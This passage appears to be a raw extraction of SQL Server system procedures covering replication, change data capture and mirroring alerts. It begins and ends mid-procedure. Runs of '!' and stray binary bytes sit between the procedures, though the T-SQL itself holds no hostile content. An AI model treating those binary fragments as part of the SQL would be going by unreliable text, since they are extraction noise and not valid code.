    for read only
    open #hcsubdata
    fetch #hcsubdata into @pubid, @publication, @subscriber, @subscriber_db, @subscription_type, @update_mode
    while (@@fetch_status = 0)
    begin
        --
        -- prepare the first command to send to subscriber
        --
        select @cmd = N' if exists (select * from dbo.sysobjects ' + 
            N'where name = N''MSreplication_subscriptions'') begin  ' +
            N'update MSreplication_subscriptions ' +
            N'set update_mode = ' + cast(@update_mode as nvarchar(10)) + 
            N' where upper(publisher) = N''' + sys.fn_replreplacesinglequote(@publisher) collate database_default + N''' and ' +
            N'publisher_db  = N''' + sys.fn_replreplacesinglequote(@publisher_db) collate database_default + N''' and ' +
            N'publication = N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + N''' and ' +
            N'subscription_type = ' + cast(@subscription_type as nvarchar(10)) + N' end '
        --
        -- write the first command to the log
        --
        exec @retcode = sys.sp_MSadd_compensating_cmd
            @orig_srv = @subscriber
            ,@orig_db = @subscriber_db
            ,@command = @cmd
            ,@article_id = @artid
            ,@publication_id = @pubid
        if (@@error != 0 or @retcode != 0)
            return 1
        --
        -- prepare the second command to send to subscriber
        --
        select @cmd = N' if exists (select * from dbo.sysobjects ' + 
            N'where name = N''MSsubscription_agents'') begin  ' +
            N'update MSsubscription_agents ' +
            N'set update_mode = ' + cast(@update_mode as nvarchar(10)) + 
            N' ,queue_id = N''mssqlqueuev2'', queue_server = NULL ' +
            N' where upper(publisher) = N''' + sys.fn_replreplacesinglequote(@publisher) collate database_default + N''' and ' +
            N'publisher_db  = N''' + sys.fn_replreplacesinglequote(@publisher_db) collate database_default + N''' and ' +
            N'publication = N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + N''' and ' +
            N'subscription_type = ' + cast(@subscription_type as nvarchar(10)) + N' end '
        --
        -- write the second command to the log
        --
        exec @retcode = sys.sp_MSadd_compensating_cmd
            @orig_srv = @subscriber
            ,@orig_db = @subscriber_db
            ,@command = @cmd
            ,@article_id = @artid
            ,@publication_id = @pubid
        if (@@error != 0 or @retcode != 0)
            return 1
        --
        -- fetch next subscription to this article
        --
        fetch #hcsubdata into @pubid, @publication, @subscriber, @subscriber_db, @subscription_type, @update_mode
    end
    close #hcsubdata
    deallocate #hcsubdata
    --
    -- all done
    --
    return 0
end
0 8
/*
  *  This proc will discover if the specified subid is a subscriber to the specified pubid.
  *  Currently, this is a one level check, it does not support n-level re-publishing.
*/
create procedure sys.sp_MScheckIsPubOfSub
    @pubid uniqueidentifier,
    @subid uniqueidentifier,
    @pubOfSub bit output
as

    declare @retcode int

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

	if exists(select sms_a.subid from sysmergesubscriptions as sms_a 
	                where pubid in (select smp.pubid from sysmergesubscriptions as sms join sysmergepublications as smp on 
	                    sms.subscriber_server = smp.publisher and sms.db_name = smp.publisher_db where sms.subid = @pubid)
	                and sms_a.subid <> sms_a.pubid and sms_a.subid = @subid)
	begin
		select @pubOfSub = 1
	end
	else
	begin
		select @pubOfSub = 0
	end

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J*,`7<
L7H0,W 8
--
-- Name:    
--          sp_IHget_colinfo
--          
-- Description: 
--          Retrieve column properties for specific col in a specific article
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/failure
--			Output - column name, column type
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHget_colinfo
( 
	@objid				int,
	@colid				int, 
	@artid				int, 
	@bGetTextImageInfo	tinyint = 0,			-- for returning text/image info
	@colname			sysname output, 
	@ccoltype			sysname = null output
)
as
begin
	declare @isset        int

    if (@artid is not NULL) 
	begin 
	    -- this code path for synctran procs
	    exec @isset = sys.sp_IHisarticlecolbitset @colid, @artid
	end
	else
	begin
	    -- this code path for synctran triggers
		select @isset = 1
	end

    if @isset != 0 
    begin
		select	@colname	= c.name,
				@ccoltype	= t.name
		from	IHsyscolumns c,
				sys.types t
		where	c.id	= @objid
		  and	c.colid	= @colid
		  and	c.xtype	= t.user_type_id

		-- when checking replicated columns, text/image datatypes cannot be declared or used locally
		if (@bGetTextImageInfo = 0) and (@ccoltype in (N'text',N'ntext',N'image'))
			return 1
	end
    else
    begin
        select @colname = null, @ccoltype = null
		return 1
    end

    return 0
end
!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`?<L|7)D&~06@ 8create procedure sys.sp_createagentparameter
(
     @agent_type int -- 1=Snapshot,2=Logreader,3=Distribution,4=Merge,9=Qreader
    ,@parameter_name sysname = NULL
    ,@default_value nvarchar(4000) = NULL -- NULL=no default
    ,@min_value int = NULL -- NULL=no lower bound
    ,@max_value int = NULL -- NULL=no upper bound
)
as
begin
    set nocount on 
    -- check if MSagentparameterlist table exists, if not fail
    if not EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSagentparameterlist'
        and type = 'U')
    begin
        --Object MSagentparameterlist does not exist in database msdb
        RAISERROR (15009, 16, -1, 'MSagentparameterlist', 'msdb') 
        return 1
    end
    
    -- insert parameter into the MSagentparameterlist table
    -- print convert(nvarchar, @parameter_name)
    INSERT INTO msdb.dbo.MSagentparameterlist 
        (agent_type
        ,parameter_name
        ,default_value
        ,min_value
        ,max_value)
    VALUES
        (@agent_type
        ,@parameter_name
        ,@default_value
        ,@min_value
        ,@max_value)
    -- If a parameter with this name already exists for same agent type
    -- error will be non-zero -> insert failed because of primary key
    if @@error <> 0
    begin
        --Cannot insert parameter [parameter_name] into MSagentparameterlist
        RAISERROR (21803, 16, -1, @parameter_name, 'MSagentparameterlist')
        return 1
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`!
<N0I0@ 8
--
-- Name:
--		sp_ORAcheckpublisher
--
-- Description:
--		Determine if an ad-hoc Oracle datasource
--		is currently published by checking the synonym.
--
-- Returns:
--		Result set:
--		Distributor name that has published this Oracle db
--		NULL if not published
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Used by the UI
--

CREATE PROCEDURE sys.sp_ORAcheckpublisher
(
	@publisher			sysname,
	@security_mode		bit,
	@login				varchar(30),
	@password			varchar(30),
	@connect_timeout	int
)
AS
BEGIN
	SET ANSI_WARNINGS ON

	DECLARE @retcode		int
	DECLARE @timeout		nvarchar(50)
	DECLARE	@conn			nvarchar(max)
	DECLARE	@conn2			nvarchar(max)
	DECLARE @command        nvarchar(max)
	DECLARE @is_published	bit
	DECLARE @provider		sysname

	SELECT @timeout = CONVERT(nvarchar(50), @connect_timeout)

        -- If the login is entered double quoted, we will retain the value as entered keeping 
        -- the double quotes.  Otherwise, we will upper case the entered value to mirror
        -- PL/SQL behavior.
        IF NOT ((substring(@login, 1, 1) = '"') AND (substring(@login, LEN(@login), 1) = '"'))
        BEGIN
	    SET @login = UPPER(@login)
        END

	-- Verify connection
	EXEC @retcode = sys.sp_MSrepl_testconnection
					@publisher_type		= N'ORACLE',
					@publisher			= @publisher,
					@security_mode		= @security_mode,
					@login				= @login,
					@password			= @password,
					@connect_timeout	= @connect_timeout
					
	IF @@ERROR<>0 OR @retcode<>0
	BEGIN
		RETURN (1)
	END

	-- Get provider
	EXEC @retcode = sp_IHgetprovider N'ORACLE', @provider OUTPUT
	
	IF @@ERROR<>0 OR @retcode<>0
	BEGIN
		RETURN (1)
	END

	EXEC @retcode = sys.sp_CheckOracleAdminPrivileges
		    @publisher,
		    @login,
		    @password,
		    @provider
	IF @@ERROR<>0 OR @retcode<>0
	BEGIN
		RETURN (1)
	END

	-- Define connection string for OPENDATASOURCE
	SET @conn = N'Data Source=' + @publisher + N';' +
				CASE WHEN @security_mode = 0 THEN
					N'User ID=''' + sys.fn_replreplacesinglequote(@login) +
					N''';Password=''' + sys.fn_replreplacesinglequote(@password) + N''';'				
				ELSE
					N'Integrated Security=true;'
				END + N'Timeout=' + @timeout + N';'


	-- Define connection string for OPENROWSET
	SET @conn2 = QUOTENAME(@publisher,'''') +
				CASE WHEN @security_mode = 0 THEN
				  + N';' + QUOTENAME(@login,'''')
				  + N';' + QUOTENAME(@password,'''')
				ELSE
				  + N''			
				END 
	SET @conn2 = sys.fn_replreplacesinglequote(@conn2)

	SET @command = N'declare @table_owner sysname, @table_name sysname, @cmd2 nvarchar(max) ' +
                      N'SELECT @table_owner = QUOTENAME(TABLE_OWNER,''"''), @table_name = TABLE_NAME ' +
                      N'FROM OPENDATASOURCE(''' + @provider + ''', ' + QUOTENAME(@conn, N'''') +
                      N')..SYS.ALL_SYNONYMS WHERE TABLE_NAME=''HREPL_DISTRIBUTOR'' AND SYNONYM_NAME=''MSSQLSERVERDISTRIBUTOR'' ' +
                      N'SELECT @table_owner = sys.fn_replreplacesinglequote(@table_owner) ' +
                      N'IF @table_owner IS NOT NULL AND @table_name IS NOT NULL BEGIN ' +					 
                      N' SELECT @cmd2 = ''SELECT * FROM OPENROWSET( ''''' + @provider + ''''', ' +  @conn2 + N', ' +
                      N' ''''select DISTRIBUTOR_DISTRIBUTORNAME AS Distributor, DISTRIBUTOR_PUBLISHERNAME AS Publisher FROM '' + @table_owner + ''.HREPL_DISTRIBUTOR'''') '' ' +
                      N' EXEC (@cmd2) END ' +					 				
                      N'ELSE SELECT NULL AS Distributor, NULL AS Publisher '

	--- taking care of the case that HREPL_DISTRIBUTOR table does not exists but has SYNONYMS.
	BEGIN TRY
		EXEC(@command)
	END TRY
	BEGIN CATCH
		--On any error here we return null Distributor and Publisher
		SELECT NULL AS Distributor, NULL AS Publisher
	END CATCH

	RETURN (0)
END
0: D8Th~"{0@ 8create procedure sys.sp_cdc_cleanup_job_entries 
(
	@event_type sysname,
	@old_database_name sysname,
	@new_database_name sysname
)
with execute as 'dbo'
as
begin
	set nocount on
	
	declare @database_id INT
		,@job_id uniqueidentifier
		,@step_id INT
		,@job_type nvarchar(20)

	declare #hjob cursor local fast_forward
	for
		select c.job_id, s.step_id, c.job_type, c.database_id
			from msdb.dbo.cdc_jobs c join msdb.dbo.sysjobsteps s on c.job_id = s.job_id
			where s.database_name = @old_database_name collate database_default

	open #hjob
	fetch #hjob into @job_id, @step_id, @job_type, @database_id

	while (@@fetch_status <> -1)
	begin
		if (@event_type = N'DROP_DATABASE')
		begin
			exec msdb.dbo.sp_delete_job @job_id = @job_id
		end
		else if (@event_type = N'ALTER_DATABASE')
		begin	
			exec msdb.dbo.sp_update_jobstep @job_id = @job_id, @step_id = @step_id, @database_name = @new_database_name
		end
		fetch #hjob into @job_id, @step_id, @job_type, @database_id
	end	
	close #hjob
	deallocate #hjob


	if (@event_type = N'DROP_DATABASE')
	begin
		-- remove the record from cdc_jobs
		delete from msdb.dbo.cdc_jobs 
		    where (database_id = @database_id or db_name(database_id) is null)

		-- if this is the last job, drop the table
		if not exists (select database_id from msdb.dbo.cdc_jobs)
		    drop table msdb.dbo.cdc_jobs
	end
	
	return 0
	
end
07 8create function [sys].[fn_cdc_has_select_access]				
(														
	@capture_instance	sysname
)
returns bit
with returns null on null input
as													
begin
	
	declare @quoted_source nvarchar(780)
		,@role sysname
		
	-- Determine the name of the gating role if one exists
	select @role = [sys].[fn_cdc_get_role](@capture_instance)

	-- If the gating role is not null and the caller is not a member
	-- of the role, the db_owner, or sysadmin, deny access
	if 	(isnull(is_srvrolemember('sysadmin'),0) = 0) 
		and (isnull(is_member('db_owner'),0) = 0)
		and (@role is not null)
		and (isnull(is_member(@role),0) = 0)
	begin
		return 0
	end
	
	-- Determine the name of the associated source table
	select @quoted_source = [sys].[fn_cdc_get_source](@capture_instance)
	select @quoted_source = quotename(db_name()) + N'.' + @quoted_source
	
	-- Determine whether the caller has select access on the tracked columns
	if exists
	(
		select name from sys.fn_cdc_get_column_list(@capture_instance)	
		where has_perms_by_name(@quoted_source, 'OBJECT', 'SELECT', quotename(name), 'COLUMN') = 0
	)
	begin
		return 0
	end	

	return 1												
end																	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<`	D<
%(9b0mZU@ 8create procedure sys.sp_startpushsubscription_agent
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db sysname,
    @publisher      sysname = null
)
as
begin
    set nocount on
    declare @cmd        nvarchar(4000)
    declare @retcode    int 
    declare @pubtype    sysname
    declare @start      tinyint
    
    set @retcode = 0
    set @start = 0
    exec @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @pubtype OUTPUT,
                                                    @rpcheader      = @cmd OUTPUT
    if @retcode <> 0
        return (@retcode)

    -- Add sp
    set @cmd = @cmd + N'sys.sp_MSrepl_subscriptionagentjobcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @subscriber = @subscriber,
                    @subscriber_db = @subscriber_db,
                    @publisher = @publisher,
                    @publisher_type = @pubtype,
                    @action = @start    
    return @retcode


end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`8<&p40_q 8 
-- add it
create view sys.dm_pdw_nodes_os_loaded_modules as
select *, convert(int, null) pdw_node_id from sys.dm_os_loaded_modules
0ty =	8create procedure sys.sp_dbmmonitordropalert
(
	@database_name		sysname, 
    @alert_id			int = null
)
 
as
begin
	set nocount on
	if (is_srvrolemember(N'sysadmin') <> 1 )
        begin
			raiserror(21089, 16, 1)
			return (1)
		end
	if(@alert_id is not null and (@alert_id < 1 or @alert_id > 5) )
	begin
		raiserror( 32036, 16, 1)
		return 1
	end
	-- Is this a system database?
	if(@database_name = N'msdb' or @database_name = N'master' or @database_name = N'model' or @database_name = N'tempdb')
	begin
		raiserror( 32050, 16, 1)
		return 1
	end
	if object_id ( N'msdb.dbo.dbm_monitor_alerts', N'U' ) is null
	begin
		raiserror( 32041, 16, 1 )
		return 1
	end
	-- Does the database exist?
	if not exists (select * from master.sys.databases where name = @database_name)
	begin
		raiserror(15010, 16, 1, @database_name)
		return 1
	end

	if exists (select * from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name))	--TO DO: cache db_id to local variable
	begin
		if @alert_id is null
		begin
			update msdb.dbo.dbm_monitor_alerts set	time_behind = null, enable_time_behind = null,
													send_queue = null, enable_send_queue = null,
													redo_queue = null, enable_redo_queue = null,
													average_delay = null, enable_average_delay = null
				where database_id = db_id(@database_name)
			return 0
		end
		if @alert_id = 1
		begin
			update msdb.dbo.dbm_monitor_alerts set time_behind = null, enable_time_behind = null where database_id = db_id(@database_name)
			return 0
		end
		if @alert_id = 2
		begin
			update msdb.dbo.dbm_monitor_alerts set send_queue = null, enable_send_queue = null where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 3
		begin
			update msdb.dbo.dbm_monitor_alerts set redo_queue = null, enable_redo_queue = null where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 4
		begin
			update msdb.dbo.dbm_monitor_alerts set average_delay = null, enable_average_delay = null where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 5
		begin
			update msdb.dbo.dbm_monitor_alerts set retention_period = null where database_id = db_id(@database_name) 			
			return 0
		end
	end
	-- Row was not there to drop....	
	return 1
end
01 P8
create procedure sys.sp_MSmerge_gen_articlecolumnrowset(
@objid int -- objid for table
)
as
    declare @retvalue int, @index int
    declare @columns varbinary(128)
    declare @artid uniqueidentifier
    declare @table_mrgartcol table(artid int NOT NULL, colid smallint NOT NULL)

    declare #article_cursor cursor local fast_forward for
    select distinct artid,columns from dbo.sysmergearticles 
    where objid=@objid 
    and pubid in 
        (select pubid from dbo.sysmergepublications 
        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS)
        and publisher_db=db_name())
    order by artid ASC
    for read only

    open #article_cursor

    fetch #article_cursor into @artid, @columns

    while (@@fetch_status<>-1)
    begin
        set @index=1
        while @index<=8*DATALENGTH(@columns)
        begin
            
            exec @retvalue=sys.sp_MStestbit @bm=@columns, @coltotest=@index
            if @retvalue<>0
                insert into #table_mrgartcol (artid, colid) values (@artid, @index)
            set @index=@index+1
        end

        fetch #article_cursor into @artid, @columns
    end
    close #article_cursor 
    deallocate #article_cursor 
    return 0
0NJ@ !8
create procedure sys.sp_replica (
        @tabname nvarchar(92),     /* The table being replicated */
        @replicated nvarchar(5)    /* True or false */
        ) AS

    SET NOCOUNT ON
    RAISERROR (21023, 16, -1,'sp_replica')
    RETURN(1)
0K 8CREATE VIEW sys.dm_filestream_file_io_handles AS
    SELECT *
    FROM OpenRowset(TABLE DM_FILESTREAM_FILE_IO_HANDLES)
0x@ k8
create procedure sys.sp_reinitsubscription
(
	@publication				sysname = 'all',
	@article					sysname = 'all',
	@subscriber					sysname,
	@destination_db				sysname = 'all',
	@for_schema_change			bit = 0,
	@publisher					sysname = NULL,
	@ignore_distributor_failure bit = 0,
	@invalidate_snapshot		bit = 0
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @distributor	sysname
	DECLARE @distribdb		sysname
	DECLARE @publisher_type	sysname

    SET NOCOUNT ON

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@rpcheader			= @cmd OUTPUT,
													@publisher_type		= @publisher_type OUTPUT,
													@skipSecurityCheck	= 1
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_reinitsubscription'

	-- Get distributor info
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
											@rpcsrvname		= @distributor OUTPUT,
											@distribdb		= @distribdb OUTPUT

    IF (@retcode <> 0 OR @@ERROR <> 0 OR @distribdb IS NULL or @distributor IS NULL) and @ignore_distributor_failure = 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

	EXEC @retcode = @cmd
					@publication,
					@article,
					@subscriber,
					@destination_db,
					@for_schema_change,
					@distributor,
					@distribdb,
					@publisher,
					@publisher_type,
					@ignore_distributor_failure,
					@invalidate_snapshot

	RETURN (@retcode)
END
0 98create function sys.fn_replmerge_get_errormsgcounts (
    @session_id int
)
returns int
as
begin
    declare @Number int
    set @Number=0

    select @Number=count(*)
    from dbo.MSrepl_errors errs
    where errs.session_id=@session_id
    
    return @Number
end
0z@ 8-- retrieve generations with genstatus 4
create procedure sys.sp_MSgetgenstatus4rows
    (@repid uniqueidentifier)
as
    declare @retcode    int

    if (@repid is null)
        begin
            RAISERROR(14043, 16, -1, '@repid', 'sp_MSgetgenstatus4rows')
            return (1)
        end

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if @retcode<>0 or @@ERROR<>0 return (1)
        
    select guidsrc, generation from dbo.MSmerge_genhistory where genstatus = 4 and subscriber_number = (select subscriber_number from dbo.sysmergesubscriptions where subid = @repid) order by generation 
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F
	Q`	<EVC^c0@ k8




create procedure sys.sp_MSmerge_alterview
(
    @qual_object_name nvarchar(512) --qualified 3-part-name            
    ,@objid    int
    ,@pass_through_scripts nvarchar(max)
    ,@objecttype varchar(32)
)
AS
    set nocount on
    declare @retcode int
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

    if is_member('db_owner') <> 1
    begin
        raiserror (21050, 16, -1)
        return (1)
    end

    begin tran
    save TRAN sp_MSmerge_alterview

    -- obtain the snapshot/DDL/admin proc applock to avoid having contention with snapshot
    -- Attempt to get the lock with no wait
    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(21386, 16, -1, @qual_object_name)
        goto FAILURE
    end

    select @got_merge_admin_applock = 1

    --loop through schema only publications/articles
    exec @retcode = sys.sp_MSmerge_alterschemaonly @qual_object_name = @qual_object_name
                                                ,@objid = @objid
                                                ,@pass_through_scripts = @pass_through_scripts
                                                ,@objecttype = @objecttype
    if @retcode <>0 or @@ERROR<>0
        goto FAILURE

    --merge does not have table based publications/articles for now
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    return 0

FAILURE:
    IF @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION sp_MSmerge_alterview
        commit tran
    end
    return 1
0 D8bh
"~
0L 8
create procedure sys.sp_MScreate_logical_record_views(@pubid uniqueidentifier) 
AS
    declare @publication sysname,
            @artid           uniqueidentifier,
            @art_nick       int,
            @art_index       int,
            @article_level int,
            @progress       int,
            @retcode       int
    declare @articles       table (indexcol int identity NOT NULL, art_nick int NOT NULL, article_level int NOT NULL)

    -- Security check
    -- This proc can be called by both publisher and subscriber.
    -- On publisher side, it is called by sp_MSpublicationview.
    -- On subscriber side, it is called by the agent and by DDL trigger (sp_MSResetTriggerProcs)
    -- Necessary rights for sp_MSpublicationview is db_owner; necessary rights on subscriber
